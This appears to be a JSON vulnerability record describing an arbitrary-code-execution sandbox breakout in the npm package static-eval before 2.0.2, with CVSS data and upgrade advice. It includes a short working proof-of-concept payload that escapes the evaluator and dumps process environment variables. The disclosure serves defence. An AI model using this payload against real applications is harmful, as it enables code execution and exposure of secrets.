{"id":"GHSA-x9hc-rw35-f44h","aliases":[],"url":"https://o3.security/vulnerability/GHSA-x9hc-rw35-f44h","summary":"Sandbox Breakout / Arbitrary Code Execution in static-eval","details":"Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\n\nvar src = process.argv[2];\nvar payload = '(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()'\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.","published":"2020-09-02T15:46:03Z","modified":"2021-09-27T13:40:52Z","cvss":{"score":7.3,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"static-eval","fixedVersion":"2.0.2"}],"fix":null,"references":[{"type":"PACKAGE","url":"https://snyk.io/vuln/SNYK-JS-STATICEVAL-173693"},{"type":"WEB","url":"https://www.npmjs.com/advisories/758"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2021-09-27T13:40:52Z"}}